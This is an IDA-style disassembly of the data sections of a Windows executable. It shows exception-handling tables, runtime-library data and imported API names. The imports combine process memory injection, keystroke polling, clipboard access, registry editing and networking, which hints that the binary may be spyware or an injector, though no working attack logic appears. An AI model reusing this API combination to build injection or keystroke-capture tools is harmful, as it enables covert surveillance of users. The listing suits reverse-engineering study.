dword_4317F8	dd 19930520h, 4, 4317D8h, 4 dup(0) ; DATA XREF:	.text:loc_427BE9o
		dd 0FFFFFFFFh, 427C85h
dword_43181C	dd 19930520h, 1, 431814h, 4 dup(0) ; DATA XREF:	.text:loc_427C8Do
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_413BED
		dd 3 dup(0)
		dd offset loc_413BF6
		align 10h
		dd 2 dup(1), 431858h, 2	dup(2),	3, 1, 431868h
dword_4318A0	dd 19930520h, 4, 431838h, 2, 431878h, 2	dup(0)
					; DATA XREF: .text:loc_427BF3o
		dd 0FFFFFFFFh, 427BFDh
dword_4318C4	dd 19930520h, 1, 4318BCh, 4 dup(0) ; DATA XREF:	.text:loc_427C0Bo
		dd 0FFFFFFFFh, 427C15h,	0
		dd offset loc_427C1D
		dd 0FFFFFFFFh, 427C25h,	2, 427C2Dh, 0FFFFFFFFh,	427C35h
		dd 0FFFFFFFFh, 427C40h
dword_431910	dd 19930520h, 6, 4318E0h, 4 dup(0) ; DATA XREF:	.text:loc_427C4Bo
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
; ---------------------------------------------------------------------------
		push	edi
		jmp	loc_43199E
; ---------------------------------------------------------------------------
		align 10h
		dd 2 dup(0)
; ---------------------------------------------------------------------------
		pusha

loc_431969:				; DATA XREF: .text:004319A4o
		jmp	near ptr word_4319AE
; ---------------------------------------------------------------------------
		align 10h
		dd 0
		dd 2 dup(1), 43194Ch, 2	dup(2),	3, 1, 43195Ch
dword_431994	dd 19930520h, 4		; DATA XREF: .text:loc_427C55o
; ---------------------------------------------------------------------------
		sub	al, 19h

loc_43199E:				; CODE XREF: .text:00431959j
		inc	ebx
		add	[edx], al
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd offset loc_431969+3
		dd 0
		db 2 dup(0)
word_4319AE	dw 0			; CODE XREF: .text:loc_431969j
		dd 0FFFFFFFFh, 42791Ch,	0
		dd offset loc_427924
dword_4319C0	dd 19930520h, 2, 4319B0h, 4 dup(0) ; DATA XREF:	.text:loc_42792Fo
		dd 0FFFFFFFFh, 427C5Fh
dword_4319E4	dd 19930520h, 1, 4319DCh, 4 dup(0) ; DATA XREF:	.text:loc_427C67o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_40216E
		dd 2 dup(0)
		dd 2 dup(1), 431A10h
dword_431A34	dd 19930520h, 2, 431A00h, 1, 431A20h, 2	dup(0)
					; DATA XREF: .text:loc_427C71o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_40210A
		dd 2 dup(0)
		dd 2 dup(1), 431A60h
dword_431A84	dd 19930520h, 2, 431A50h, 1, 431A70h, 2	dup(0)
					; DATA XREF: .text:loc_427C7Bo
		dd 0FFFFFFFFh, 427C97h,	0Bh dup(0)
		dd offset loc_401D3C
		dd 3 dup(0)
		dd offset loc_401DC1
		dd 2 dup(1), 2,	1, 431AC8h, 2 dup(3), 4, 1, 431AD8h
dword_431B10	dd 19930520h, 5, 431AA0h, 2, 431AE8h, 2	dup(0)
					; DATA XREF: .text:loc_427C9Fo
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset sub_401895
		dd 2 dup(0)
		dd 2 dup(1), 431B3Ch
dword_431B60	dd 19930520h, 2, 431B2Ch, 1, 431B4Ch, 2	dup(0)
					; DATA XREF: .text:loc_427CA9o
		dd 0FFFFFFFFh, 427CB3h,	0
		dd offset loc_427CBB
dword_431B8C	dd 19930520h, 2, 431B7Ch, 4 dup(0) ; DATA XREF:	.text:loc_427CC6o
		dd 0FFFFFFFFh, 427CD0h,	0
		dd offset loc_427CDB
		dd 0
		dd offset loc_427CE8
		dd 0
		dd offset loc_427CF5
dword_431BC8	dd 19930520h, 4, 431BA8h, 4 dup(0) ; DATA XREF:	.text:loc_427CFDo
		dd 0FFFFFFFFh, 427D07h,	0
		dd offset loc_427D0F
		dd 1, 427D1Ah
dword_431BFC	dd 19930520h, 3, 431BE4h, 4 dup(0) ; DATA XREF:	.text:loc_427D24o
		dd 0FFFFFFFFh, 427D2Eh,	0
		dd offset loc_427D36
		dd 1, 427D41h
dword_431C30	dd 19930520h, 3, 431C18h, 4 dup(0) ; DATA XREF:	.text:loc_427D4Co
		dd 0FFFFFFFFh, 427D56h,	0
		dd offset loc_427D5E
		dd 1, 427D66h
dword_431C64	dd 19930520h, 3, 431C4Ch, 4 dup(0) ; DATA XREF:	.text:loc_427D6Eo
		dd 0FFFFFFFFh, 427B90h
dword_431C88	dd 19930520h, 1, 431C80h, 4 dup(0) ; DATA XREF:	.text:loc_427B98o
		dd 0FFFFFFFFh, 427D78h,	0
		dd offset loc_427D80
dword_431CB4	dd 19930520h, 2, 431CA4h, 4 dup(0) ; DATA XREF:	.text:loc_427D85o
		dd 0FFFFFFFFh, 427D8Fh
dword_431CD8	dd 19930520h, 1, 431CD0h, 4 dup(0) ; DATA XREF:	.text:loc_427D97o
		dd 0FFFFFFFFh, 427DA1h
dword_431CFC	dd 19930520h, 1, 431CF4h, 4 dup(0) ; DATA XREF:	.text:loc_427DA9o
		dd 0FFFFFFFFh, 427DB3h,	0
		dd offset loc_427DC0
		dd 1, 427DCEh, 2, 427DDCh, 3, 427DEAh, 4, 427DF8h, 4, 427E02h
		dd 4, 427E0Ch, 4, 427E16h, 4, 427E20h, 4, 427E2Ah, 4, 427E34h
		dd 4, 427E3Eh, 4, 427E48h, 4, 427E52h, 4, 427E5Ch, 4, 427E66h
		dd 4, 427E70h, 4, 427E7Ah, 4, 427E84h, 4, 427E8Eh, 4, 427E98h
dword_431DC8	dd 19930520h, 16h, 431D18h, 4 dup(0) ; DATA XREF: .text:loc_427EA2o
		dd 0FFFFFFFFh, 427EACh,	0
		dd offset loc_427EB4
dword_431DF4	dd 19930520h, 2, 431DE4h, 4 dup(0) ; DATA XREF:	.text:loc_427EBEo
		dd 0FFFFFFFFh, 427EDCh
dword_431E18	dd 19930520h, 1, 431E10h, 4 dup(0) ; DATA XREF:	.text:loc_427EE6o
		dd 0FFFFFFFFh, 427EF0h
dword_431E3C	dd 19930520h, 1, 431E34h, 4 dup(0) ; DATA XREF:	.text:loc_427EF8o
		dd 0FFFFFFFFh, 427F02h,	0
		dd offset loc_427F0A
dword_431E68	dd 19930520h, 2, 431E58h, 4 dup(0) ; DATA XREF:	.text:loc_427F12o
		dd 0FFFFFFFFh, 427F1Ch
dword_431E8C	dd 19930520h, 1, 431E84h, 4 dup(0) ; DATA XREF:	.text:loc_427F24o
		dd 0FFFFFFFFh, 427F2Eh,	0
		dd offset loc_427F36
dword_431EB8	dd 19930520h, 2, 431EA8h, 4 dup(0) ; DATA XREF:	.text:loc_427F40o
		dd 0FFFFFFFFh, 427F4Ah
dword_431EDC	dd 19930520h, 1, 431ED4h, 4 dup(0) ; DATA XREF:	.text:loc_427F52o
		dd 0FFFFFFFFh, 427F5Ch
dword_431F00	dd 19930520h, 1, 431EF8h, 4 dup(0) ; DATA XREF:	.text:loc_427F66o
		dd 321B0h, 2 dup(0)
dword_431F28	dd 322E8h, 291E0h, 32240h, 2 dup(0) ; DATA XREF: start+205o
		dd 3236Eh, 29270h, 322BCh, 2 dup(0)
		dd 3238Ch, 292ECh, 31FF8h, 2 dup(0)
		dd 32802h, 29028h, 321B8h, 2 dup(0)
		dd 32A6Ah, 291E8h, 31FD0h, 2 dup(0)
		dd 32B0Eh, 29000h, 322C4h, 2 dup(0)
		dd 32B52h, 292F4h, 32194h, 2 dup(0)
		dd 32B5Ch, 291C4h, 5 dup(0)
		dd 32A76h, 32A98h, 32AACh, 32ABCh, 32ACEh, 32ADEh, 32AF0h
		dd 32B00h, 32A86h, 0
		dd 32D9Ch, 32D90h, 32D84h, 32D72h, 32D60h, 32D46h, 32D36h
		dd 32D24h, 32D0Ah, 32CF0h, 32CD8h, 32CBEh, 32CAEh, 32CA0h
		dd 32C84h, 32C74h, 32C64h, 32C56h, 32C48h, 32C3Eh, 32C2Eh
		dd 3239Ah, 323ACh, 323C8h, 323D0h, 323DAh, 323ECh, 32402h
		dd 32414h, 3242Ch, 3243Ch, 32448h, 3245Ch, 3246Ch, 32480h
		dd 3248Eh, 3249Ch, 324B2h, 324C6h, 324D8h, 324E8h, 324F6h
		dd 32504h, 32514h, 3252Ah, 3253Ah, 32548h, 3255Ah, 3256Ah
		dd 32578h, 3258Ah, 32598h, 32DACh, 325B4h, 325C6h, 325D6h
		dd 325E2h, 325EEh, 325FAh, 32610h, 3261Eh, 32632h, 32642h
		dd 3265Ch, 32672h, 32688h, 326A0h, 326B8h, 326C8h, 326D8h
		dd 326E6h, 326FAh, 3270Ch, 32722h, 32738h, 32748h, 32766h
		dd 32778h, 32786h, 3279Ah, 327A6h, 327B6h, 327D2h, 327E0h
		dd 327F6h, 32C22h, 32C16h, 32C06h, 32BF6h, 32BE8h, 32BDAh
		dd 32BCEh, 32BBCh, 32BAAh, 32B9Ah, 32B84h, 32B76h, 32B6Ah
		dd 32DC0h, 32DD0h, 32DE0h, 325A6h, 0
		dd 80000004h, 80000008h, 80000009h, 80000007h, 80000006h
		dd 80000002h, 0
		dd 322D4h, 0
		dd 3297Ah, 3296Ch, 32958h, 32942h, 32930h, 32994h, 32906h
		dd 328F2h, 329AAh, 32810h, 3281Eh, 3282Ah, 32A54h, 32A40h
		dd 32A2Eh, 32A1Ch, 32A0Ah, 329FCh, 329ECh, 329D8h, 329C8h
		dd 3291Ah, 328E0h, 328C4h, 328B0h, 3289Eh, 3288Eh, 3287Ah
		dd 3286Ah, 3285Ah, 3284Ah, 32838h, 329BAh, 0
		dd 8000000Bh, 8000000Ch, 80000039h, 8000000Fh, 3235Eh
		dd 80000005h, 8000000Ah, 80000004h, 8000006Fh, 32346h
		dd 32334h, 80000006h, 80000016h, 80000014h, 80000017h
		dd 80000003h, 32324h, 80000034h, 8000000Dh, 80000001h
		dd 80000073h, 80000002h, 32312h, 322F6h, 80000008h, 80000012h
		dd 80000010h, 80000097h, 80000013h, 80000009h, 0
		dd 3237Ah, 0
		dd 32B42h, 32B1Ch, 32B30h, 0
		dd 48530000h, 46746547h, 65646C6Fh, 74615072h, 4168h, 4F464853h
		dd 5245444Ch, 6C6C642Eh, 470000h
aWsawaitformult	db 'WSAWaitForMultipleEvents',0
		align 2
		dw 14h
aWsacreateevent	db 'WSACreateEvent',0
		align 4
a8		db '8',0
aWsaresetevent	db 'WSAResetEvent',0
		dd 5357001Ch, 65764541h, 6553746Eh, 7463656Ch, 190000h
aWsaenumnetwork	db 'WSAEnumNetworkEvents',0
		align 2
		dw 12h
aWsacloseevent	db 'WSACloseEvent',0
aWs2_32_dll	db 'WS2_32.dll',0
		align 2
		db '/',0
aGetipaddrtable	db 'GetIpAddrTable',0
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0
		align 2
		dw 174h
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		align 4
		db  23h	; #
		db 2, 49h, 6Eh
aItializecritic	db 'itializeCriticalSection',0
		db  56h	; V
		db 3, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db 0FDh	; ý
		align 2
aGetacp		db 'GetACP',0
		align 2
		dw 2A7h
aRaiseexception	db 'RaiseException',0
		align 4
		db  29h	; )
		db 2, 49h, 6Eh
aTerlockedexcha	db 'terlockedExchange',0
		dw 1DAh
aGetthreadlocal	db 'GetThreadLocale',0
aB_0		db '',0
aDeletecritical	db 'DeleteCriticalSection',0
		db 0E9h	; é
		db 1, 47h, 65h
aTversionexa	db 'tVersionExA',0
		db  10h
		db 2, 48h, 65h
aApalloc	db 'apAlloc',0
		db  42h	; B
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcess',0
		db 0DFh	; ß
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db 0B8h	; ¸
		db 2, 52h, 65h
aAdprocessmemor	db 'adProcessMemory',0
		db  14h
		db 2, 48h, 65h
aApdestroy	db 'apDestroy',0
		dw 212h
aHeapcreate	db 'HeapCreate',0
		align 4
		db  7Dh	; }
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 17Fh
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
		dw 386h
aVirtualprote_0	db 'VirtualProtect',0
		align 4
		db 0C8h	; È
		db 1, 47h, 65h
aTsystemtime	db 'tSystemTime',0
		db    3
		db 2, 47h, 6Ch
aOballock	db 'obalLock',0
		align 2
		dw 1F8h
aGlobalalloc	db 'GlobalAlloc',0
		db  0Ah
		db 2, 47h, 6Ch
aObalunlock	db 'obalUnlock',0
		align 4
		db 0C1h	; Á
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 171h
aGetlasterror	db 'GetLastError',0
		align 2
aG		db 'ƒ',0
aDeletefilea	db 'DeleteFileA',0
		dd 654701A0h, 6F725074h, 64644163h, 73736572h, 2520000h
		dd 64616F4Ch, 7262694Ch, 41797261h, 0B90000h, 74697845h
		dd 636F7250h, 737365h, 72430066h, 65746165h, 636F7250h
		dd 41737365h, 340000h, 736F6C43h, 6E614865h, 656C64h, 72430053h
		dd 65746165h, 656C6946h, 1630041h, 46746547h, 53656C69h
		dd 657A69h, 6553031Bh, 6C694674h, 696F5065h, 7265746Eh
		dd 3100000h, 45746553h,	664F646Eh, 656C6946h, 3A40000h
		dd 74697257h, 6C694665h, 2B50065h, 64616552h, 656C6946h
		dd 3160000h, 45746553h,	746E6576h, 15E0000h
aGetfileattribu	db 'GetFileAttributesA',0
		align 10h
		dd 655202CFh, 45746573h, 746E6576h, 1D30000h, 54746547h
		dd 46706D65h, 4E656C69h, 41656D61h, 1D50000h, 54746547h
		dd 50706D65h, 41687461h, 1CA0000h
aGetsystemtimea	db 'GetSystemTimeAsFileTime',0
		db  75h	; u
		db 2, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		db 90h
		db 3
aWaitforsingleo	db 'WaitForSingleObject',0
		db  51h	; Q
		db 2, 4Ch, 65h
aAvecriticalsec	db 'aveCriticalSection',0
		align 10h
aS_2		db '˜',0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
		db '`',0
aCreatemutexa	db 'CreateMutexA',0
		align 4
		retn	5202h
; ---------------------------------------------------------------------------
aEleasemutex	db 'eleaseMutex',0
		align 4
		db  86h	; †
		db 2, 4Fh, 70h
aEnprocess	db 'enProcess',0
		dw 387h
aVirtualprote_1	db 'VirtualProtectEx',0
		align 2
		dw 382h
aVirtualallocex	db 'VirtualAllocEx',0
		align 4
		db  43h	; C
		db 1, 47h, 65h
aTcurrentproc_0	db 'tCurrentProcessId',0
		dw 3ADh
aWriteprocessme	db 'WriteProcessMemory',0
		align 4
aO		db 'O',0
aCreateeventa	db 'CreateEventA',0
		align 4
		db  4Ah	; J
		db 3, 53h, 65h
aTunhandledexce	db 'tUnhandledExceptionFilter',0
		dw 296h
aProcess32first	db 'Process32First',0
		align 4
		dd 6553031Fh, 6C694674h, 6D695465h, 35E0065h, 6D726554h
		dd 74616E69h, 6F725065h, 73736563h, 430000h, 79706F43h
		dd 656C6946h, 2980041h,	636F7250h, 33737365h, 78654E32h
		dd 720074h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0
		align 2
		dw 165h
aGetfiletime	db 'GetFileTime',0
		db  94h	; ”
		db 3, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		dw 25Ch
aLocalfree	db 'LocalFree',0
aKernel32_dll_1	db 'KERNEL32.dll',0
		align 10h
aU		db 'ã',0
aFindwindowa	db 'FindWindowA',0
		dw 1ADh
aIswindow	db 'IsWindow',0
		align 2
		dw 292h
aShowwindow	db 'ShowWindow',0
		align 4
		db  77h	; w
		db 1, 47h, 65h
aTwindowtexta	db 'tWindowTextA',0
		align 2
		dw 23Bh
aSendmessagea	db 'SendMessageA',0
		align 2
aF		db 'ä',0
aFindwindowexa	db 'FindWindowExA',0
aS_3		db '™',0
aDestroywindow	db 'DestroyWindow',0
		dw 24Ah
aSetclipboardda	db 'SetClipboardData',0
		align 2
		dw 1F6h
aOpenclipboard	db 'OpenClipboard',0
		db 'Á',0
aEmptyclipboard	db 'EmptyClipboard',0
		align 10h
		db    1
		db 1, 47h, 65h
aTclipboarddata	db 'tClipboardData',0
		align 4
		db  1Ah
		db 2, 52h, 65h
aGisterclipboar	db 'gisterClipboardFormatA',0
		align 10h
aB_1		db 'B',0
aCloseclipboard	db 'CloseClipboard',0
		align 2
aB_2		db '¡',0
aDispatchmessag	db 'DispatchMessageA',0
		align 2
		retf
; ---------------------------------------------------------------------------
		align 4
aEnumchildwindo	db 'EnumChildWindows',0
		align 2
		dw 23Eh
aSendmessagetim	db 'SendMessageTimeoutA',0
		dd 6547017Ah, 6E695774h, 54776F64h, 57747865h, 1170000h
aGetforegroundw	db 'GetForegroundWindow',0
		dd 725402AAh, 6C736E61h, 4D657461h, 61737365h, 6567h, 6E4500DEh
		dd 69576D75h, 776F646Eh, 2270073h
aRegisterwindow	db 'RegisterWindowMessageA',0
		align 4
		db    5
		db 2, 50h, 6Fh
aStthreadmessag	db 'stThreadMessageA',0
		align 2
		dw 0FCh
aGetclassnamea	db 'GetClassNameA',0
		dw 13Ah
aGetmessagea	db 'GetMessageA',0
		db  0Bh
		db 1, 47h, 65h
aTcursorpos	db 'tCursorPos',0
		align 4
		db 0F2h	; ò
		align 2
aGetasynckeysta	db 'GetAsyncKeyState',0
		align 4
		db    0
		db 2, 50h, 65h
aEkmessagea	db 'ekMessageA',0
		align 4
		db 0DFh	; ß
		db 1, 4Dh, 65h
aSsageboxa	db 'ssageBoxA',0
aO_0		db 'Ž',0
aDefwindowproca	db 'DefWindowProcA',0
		align 4
		db '`',0
aCreatewindowex	db 'CreateWindowExA',0
		dw 204h
aPostquitmessag	db 'PostQuitMessage',0
		db  17h
		db 2, 52h, 65h
aGisterclassexa	db 'gisterClassExA',0
		align 4
		db  73h	; s
		db 1, 47h, 65h
aTwindowplaceme	db 'tWindowPlacement',0
		align 2
aUser32_dll_0	db 'USER32.dll',0
		align 2
		dw 1D4h
aRegdeletekeya	db 'RegDeleteKeyA',0
		dw 204h
aRegsetvalueexa	db 'RegSetValueExA',0
		align 4
		db 0F7h	; ÷
		db 1, 52h, 65h
aGqueryvalueexa	db 'gQueryValueExA',0
		align 4
		db 0DEh	; Þ
		db 1, 52h, 65h
aGenumkeyexa	db 'gEnumKeyExA',0
		db 0D1h	; Ñ
		db 1, 52h, 65h
aGcreatekeyexa	db 'gCreateKeyExA',0
		dw 1ECh
aRegopenkeyexa	db 'RegOpenKeyExA',0
		dw 1D8h
aRegdeletevalue	db 'RegDeleteValueA',0
		db 0E1h	; á
		db 1, 52h, 65h
aGenumvaluea	db 'gEnumValueA',0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 1, 52h, 65h
aGclosekey	db 'gCloseKey',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 4
		db  10h
		align 2
aCocreateinstan	db 'CoCreateInstance',0
		align 10h
aI_1		db 'i',0
aCouninitialize	db 'CoUninitialize',0
		align 2
		db ';',0
aCoinitialize	db 'CoInitialize',0
		align 2
aOle32_dll	db 'ole32.dll',0
aOleaut32_dll	db 'OLEAUT32.dll',0
		align 2
		dw 216h
aHeapfree	db 'HeapFree',0
		align 2
		db 'º',0
aExitthread	db 'ExitThread',0
		align 4
		db  46h	; F
		db 1, 47h, 65h
aTcurrentthread	db 'tCurrentThreadId',0
		align 2
aO_1		db 'o',0
aCreatethread	db 'CreateThread',0
		align 2
		dw 1B7h
aGetstartupinfo	db 'GetStartupInfoA',0
		db  10h
		db 1, 47h, 65h
aTcommandlinea	db 'tCommandLineA',0
		dw 2D7h
aRtlunwind	db 'RtlUnwind',0
		dw 21Ah
aHeaprealloc	db 'HeapReAlloc',0
		db  83h	; ƒ
		db 3, 56h, 69h
aRtualfree	db 'rtualFree',0
		dw 381h
aVirtualalloc	db 'VirtualAlloc',0
		align 2
		dw 236h
aIsbadwriteptr	db 'IsBadWritePtr',0
		dw 21Ch
aHeapsize	db 'HeapSize',0
		align 2
		dw 363h
aTlsalloc	db 'TlsAlloc',0
		align 2
		dw 328h
aSetlasterror	db 'SetLastError',0
		align 2
		dw 364h
aTlsfree	db 'TlsFree',0
		db  66h	; f
		db 3, 54h, 6Ch
aSsetvalue	db 'sSetValue',0
		dw 365h
aTlsgetvalue	db 'TlsGetValue',0
		db  44h	; D
		db 2, 4Ch, 43h
aMapstringa	db 'MapStringA',0
		align 4
		db  45h	; E
		db 2, 4Ch, 43h
aMapstringw	db 'MapStringW',0
		align 4
		db  6Eh	; n
		db 3, 55h, 6Eh
aHandledexcepti	db 'handledExceptionFilter',0
		align 10h
		dd 65470166h, 6C694674h, 70795465h, 1B90065h, 53746547h
		dd 61486474h, 656C646Eh, 0F60000h
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		db  55h	; U
		db 1, 47h, 65h
aTenvironmentst	db 'tEnvironmentStrings',0
		db 0F7h	; ÷
		align 2
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 157h
aGetenvironment	db 'GetEnvironmentStringsW',0
		align 4
		dd 65530324h, 6E614874h, 43656C64h, 746E756Fh, 3880000h
		dd 74726956h, 516C6175h, 79726575h, 2A30000h
aQueryperforman	db 'QueryPerformanceCounter',0
		dd 654701BAh, 72745374h, 54676E69h, 41657079h, 1BD0000h
		dd 53746547h, 6E697274h, 70795467h, 5765h, 65470104h, 49504374h
		dd 6F666Eh, 65470193h, 4D454F74h, 5043h, 65530337h, 64745374h
		dd 646E6148h, 656Ch, 6C4600EEh,	46687375h, 42656C69h, 65666675h
		dd 7372h, 654701C5h, 73795374h,	496D6574h, 6F666Eh, 73490233h
		dd 52646142h, 50646165h, 7274h,	73490230h, 43646142h, 5065646Fh
		dd 7274h, 0F09B5947h, 2F487600h, 0CE6A434Ah, 81h dup(0)
dword_433000	dd 0			; DATA XREF: sub_41F531+45o start+1A2o
		dd offset sub_423DB4
		dd offset sub_4280CC
		dd offset sub_4280C0
		dd offset sub_427F70
		dd offset sub_427FA5
		dd offset sub_427FBD
		dd offset sub_427FD3
; ---------------------------------------------------------------------------
		jmp	short loc_4330A1
; ---------------------------------------------------------------------------
		dw 42h
		dd offset loc_428003
		dd offset loc_42801B
		dd offset loc_428027
		dd offset loc_42803D
		dd offset loc_428055
		dd offset loc_42808A
		dd offset loc_4280A2
dword_433040	dd 0			; DATA XREF: sub_41F531+4Co
dword_433044	dd 0			; DATA XREF: sub_41F531+12o
; ---------------------------------------------------------------------------
		lds	eax, cs:[ecx+0]
		dec	edi
		or	[edx+0], eax
		retn
; ---------------------------------------------------------------------------
		db 0Bh,	42h, 0
		dd offset sub_424D03
		dd offset sub_42391A
dword_43305C	dd 0			; DATA XREF: sub_41F531+17o
dword_433060	dd 0			; DATA XREF: sub_41F59B+73o
		dd offset loc_420C6C
		dd offset sub_421AB7
dword_43306C	dd 0			; DATA XREF: sub_41F59B:loc_41F609o
dword_433070	dd 0			; CODE XREF: sub_41F4D7+23p
					; DATA XREF: sub_41F59B+83o
		dd offset sub_42392D
dword_433078	dd 2 dup(0)		; DATA XREF: sub_41F59B:loc_41F619o
dword_433080	dd 2 dup(0)		; DATA XREF: sub_4280CC:loc_428170o
		dd 80020004h, 0
off_433090	dd offset loc_41B8D0	; DATA XREF: sub_41B8C0+7r
off_433094	dd offset off_429530	; DATA XREF: .text:00430DBCo
					; .text:004310C4o
		dd 0
		dd 56413F2Eh
; ---------------------------------------------------------------------------
		pop	edi

loc_4330A1:				; CODE XREF: .text:00433020j
		arpl	[edi+6Dh], bp
		pop	edi
		db	65h
		jb	short loc_43311A
		outsd
		jb	short near ptr a_?avbad_alloc@+13h
		inc	eax
; ---------------------------------------------------------------------------
		dd 0
off_4330B0	dd offset off_429530	; DATA XREF: .text:off_430E70o
					; .text:00430EB4o ...
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
off_4330D0	dd offset off_429530	; DATA XREF: .text:off_430EBCo
					; .text:00430EFCo ...
		align 8
a_?avbad_alloc@	db '.?AVbad_alloc@std@@',0
		align 10h
off_4330F0	dd offset off_429530	; DATA XREF: .text:off_430F30o
					; .text:00430F6Co
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
off_433110	dd offset sub_41F66F	; DATA XREF: sub_41DC6D+1Cr
dword_433114	dd 2			; DATA XREF: sub_4224BB+58r
					; sub_422632+Er ...
byte_433118	db 20h,	5		; DATA XREF: sub_41DF59+2o
					; sub_41DF62+2o
; ---------------------------------------------------------------------------

loc_43311A:				; CODE XREF: .text:004330A5j
		xchg	eax, ebx
		sbb	[eax], eax
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 4 dup(0)
		dd offset sub_4238CC
		dd 9875h, 9873h
off_43313C	dd offset sub_41E530	; DATA XREF: sub_41F531r
off_433140	dd offset nullsub_3	; DATA XREF: sub_41D732:loc_41D7BDr
off_433144	dd offset nullsub_3	; DATA XREF: sub_41D732r
dword_433148	dd 469B3D24h		; DATA XREF: sub_41BBA7+Br
					; sub_41CE46+6r ...
		dd 10h
off_433150	dd offset dword_435508	; DATA XREF: sub_41E830:loc_41E86Dw
					; sub_41E879+8o ...
dword_433154	dd 1			; DATA XREF: sub_41E830:loc_41E839r
		dd offset dword_435520
		dd 1, 2	dup(0)
		dd offset byte_435538
		dd 1, 435550h, 1, 2 dup(0)
		dd offset dword_435568
		dd 1, 435580h, 1, 435598h, 1, 2	dup(0)
		dd offset dword_4355B0
		dd 1, 2	dup(0)
		dd offset dword_4355C8
		dd 1, 4355E0h, 1, 4355F8h, 1, 2	dup(0)
		dd offset dword_435610
		dd 1, 435628h, 1, 435640h, 1, 22h dup(0)
off_433270	dd offset aNull_2	; DATA XREF: sub_41E879+2Ao
					; sub_41E879+4Ao ...
					; "(null)"
off_433274	dd offset aNull_0	; DATA XREF: sub_41F8BB+2D8r
					; "(null)"
dword_433278	dd 1			; DATA XREF: sub_4200C7:loc_4200D6r
dword_43327C	dd 16h			; DATA XREF: sub_4200C7+3Br
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
off_4333E0	dd offset asc_429868	; DATA XREF: sub_41CA85:loc_41CB57r
					; sub_41F8BB:loc_41FAD7r ...
					; "	    (((((		   H"
		dd offset dword_429A68+2
		dd 43h,	0
dword_4333F0	dd 2, 8	dup(0)		; DATA XREF: sub_420281+ADo
					; sub_420427+103o ...
		dd 2 dup(1), 3 dup(0)
		dd offset off_433A54
		dd 3 dup(0)
		dd offset asc_429868	; "	    (((((		   H"
		dd offset off_433998
		dd 0
off_433444	dd offset dword_4333F0	; DATA XREF: sub_41CA85+Fr
					; sub_41D514+Ar ...
		dd 0
		dd 1, 8	dup(0)
		dd 43h,	21h dup(0)
		dd 43h,	20h dup(0)
dword_43357C	dd 10h			; DATA XREF: sub_41D732+3Dr
					; sub_41D732+53r ...
off_433580	dd offset sub_424D21	; DATA XREF: sub_42068C+11Ar
					; sub_42068C+1D5r ...
dword_433584	dd 1B3Fh		; DATA XREF: .text:00420A2Ar
dword_433588	dd 173Fh		; DATA XREF: .text:00420AFDr
		align 10h
off_433590	dd offset dword_438580	; DATA XREF: .text:00420C15o
					; sub_420C80+4o ...
		align 8
		dd offset dword_438580
		dd 101h
dword_4335A0	dd 0FFFFFFFFh, 0	; DATA XREF: .text:00420C34o
		dd 1000h, 0
dword_4335B0	dd 3 dup(0)		; DATA XREF: sub_41F714+53o
					; sub_420FAE+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_4335D0	dd 3 dup(0)		; DATA XREF: sub_41F714+5Bo
					; sub_420FAE:loc_420FCCo
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_433600	dd 7Ch dup(0)		; DATA XREF: .text:00420C60o
dword_4337F0	dd 8 dup(0)		; DATA XREF: sub_420C80+Do
					; sub_420CD2+Do
dword_433810	dd 0C0000005h, 0Bh, 0	; DATA XREF: sub_4203A3+4o
					; sub_4203B6+41o ...
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_433888	dd 3			; DATA XREF: sub_4217A5+84r
					; sub_4217A5+A3r ...
dword_43388C	dd 7			; DATA XREF: sub_4217A5+8Ar
					; sub_4217A5+A9r ...
		dd 78h
